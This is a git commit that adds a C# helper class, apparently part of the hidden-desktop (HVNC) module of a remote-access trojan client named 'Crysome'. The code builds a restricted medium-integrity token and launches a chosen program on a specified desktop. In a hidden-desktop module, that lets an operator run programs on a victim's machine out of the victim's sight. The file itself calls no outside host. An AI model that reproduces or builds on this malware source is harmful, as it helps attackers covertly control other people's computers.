initial commit
This commit is contained in:
@@ -0,0 +1,203 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Crysome.Client.Hvnc;
|
||||
|
||||
internal static class HvncProcessHelper
|
||||
{
|
||||
private struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
|
||||
public IntPtr hThread;
|
||||
|
||||
public int dwProcessId;
|
||||
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
private struct STARTUPINFO
|
||||
{
|
||||
public int cb;
|
||||
|
||||
public string lpReserved;
|
||||
|
||||
public string lpDesktop;
|
||||
|
||||
public string lpTitle;
|
||||
|
||||
public int dwX;
|
||||
|
||||
public int dwY;
|
||||
|
||||
public int dwXSize;
|
||||
|
||||
public int dwYSize;
|
||||
|
||||
public int dwXCountChars;
|
||||
|
||||
public int dwYCountChars;
|
||||
|
||||
public int dwFillAttribute;
|
||||
|
||||
public int dwFlags;
|
||||
|
||||
public short wShowWindow;
|
||||
|
||||
public short cbReserved2;
|
||||
|
||||
public IntPtr lpReserved2;
|
||||
|
||||
public IntPtr hStdInput;
|
||||
|
||||
public IntPtr hStdOutput;
|
||||
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
private struct SID_AND_ATTRIBUTES
|
||||
{
|
||||
public IntPtr Sid;
|
||||
|
||||
public uint Attributes;
|
||||
}
|
||||
|
||||
private struct TOKEN_MANDATORY_LABEL
|
||||
{
|
||||
public SID_AND_ATTRIBUTES Label;
|
||||
}
|
||||
|
||||
private enum TOKEN_INFORMATION_CLASS
|
||||
{
|
||||
TokenIntegrityLevel = 25
|
||||
}
|
||||
|
||||
public enum SaferLevel : uint
|
||||
{
|
||||
NormalUser = 0x20000u
|
||||
}
|
||||
|
||||
public enum SaferScope : uint
|
||||
{
|
||||
User = 2u
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum SaferOpenFlags : uint
|
||||
{
|
||||
Open = 1u
|
||||
}
|
||||
|
||||
private const uint SE_GROUP_INTEGRITY = 32u;
|
||||
|
||||
public static bool RunAsRestrictedUser(string fileName, string desktopName)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(fileName))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
if (!GetRestrictedSessionUserToken(out var token))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
try
|
||||
{
|
||||
STARTUPINFO lpStartupInfo = new STARTUPINFO
|
||||
{
|
||||
cb = Marshal.SizeOf(typeof(STARTUPINFO)),
|
||||
lpDesktop = desktopName
|
||||
};
|
||||
PROCESS_INFORMATION lpProcessInformation = default(PROCESS_INFORMATION);
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.Append(fileName);
|
||||
return CreateProcessAsUser(token, null, stringBuilder, IntPtr.Zero, IntPtr.Zero, bInheritHandles: true, 0u, IntPtr.Zero, Path.GetDirectoryName(fileName), ref lpStartupInfo, out lpProcessInformation);
|
||||
}
|
||||
finally
|
||||
{
|
||||
CloseHandle(token);
|
||||
}
|
||||
}
|
||||
|
||||
private static bool GetRestrictedSessionUserToken(out IntPtr token)
|
||||
{
|
||||
token = IntPtr.Zero;
|
||||
if (!SaferCreateLevel(SaferScope.User, SaferLevel.NormalUser, SaferOpenFlags.Open, out var pLevelHandle, IntPtr.Zero))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
IntPtr OutAccessToken = IntPtr.Zero;
|
||||
TOKEN_MANDATORY_LABEL structure = new TOKEN_MANDATORY_LABEL
|
||||
{
|
||||
Label =
|
||||
{
|
||||
Sid = IntPtr.Zero
|
||||
}
|
||||
};
|
||||
IntPtr intPtr = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
if (!SaferComputeTokenFromLevel(pLevelHandle, IntPtr.Zero, out OutAccessToken, 0, IntPtr.Zero))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
structure.Label.Attributes = 32u;
|
||||
structure.Label.Sid = IntPtr.Zero;
|
||||
if (!ConvertStringSidToSid("S-1-16-8192", out structure.Label.Sid))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
intPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(TOKEN_MANDATORY_LABEL)));
|
||||
Marshal.StructureToPtr(structure, intPtr, fDeleteOld: false);
|
||||
if (!SetTokenInformation(OutAccessToken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, intPtr, (uint)Marshal.SizeOf(typeof(TOKEN_MANDATORY_LABEL))))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
token = OutAccessToken;
|
||||
OutAccessToken = IntPtr.Zero;
|
||||
}
|
||||
finally
|
||||
{
|
||||
SaferCloseLevel(pLevelHandle);
|
||||
if (structure.Label.Sid != IntPtr.Zero)
|
||||
{
|
||||
LocalFree(structure.Label.Sid);
|
||||
}
|
||||
if (intPtr != IntPtr.Zero)
|
||||
{
|
||||
Marshal.FreeHGlobal(intPtr);
|
||||
}
|
||||
if (OutAccessToken != IntPtr.Zero)
|
||||
{
|
||||
CloseHandle(OutAccessToken);
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
[DllImport("advapi32", CallingConvention = CallingConvention.StdCall, SetLastError = true)]
|
||||
private static extern bool SaferCreateLevel(SaferScope scope, SaferLevel level, SaferOpenFlags openFlags, out IntPtr pLevelHandle, IntPtr lpReserved);
|
||||
|
||||
[DllImport("advapi32", CallingConvention = CallingConvention.StdCall, SetLastError = true)]
|
||||
private static extern bool SaferComputeTokenFromLevel(IntPtr LevelHandle, IntPtr InAccessToken, out IntPtr OutAccessToken, int dwFlags, IntPtr lpReserved);
|
||||
|
||||
[DllImport("advapi32", SetLastError = true)]
|
||||
private static extern bool SaferCloseLevel(IntPtr hLevelHandle);
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
private static extern bool ConvertStringSidToSid(string StringSid, out IntPtr ptrSid);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr LocalFree(IntPtr hMem);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern bool SetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, uint TokenInformationLength);
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
private static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, StringBuilder lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
||||
}
|
||||
Reference in New Issue
Block a user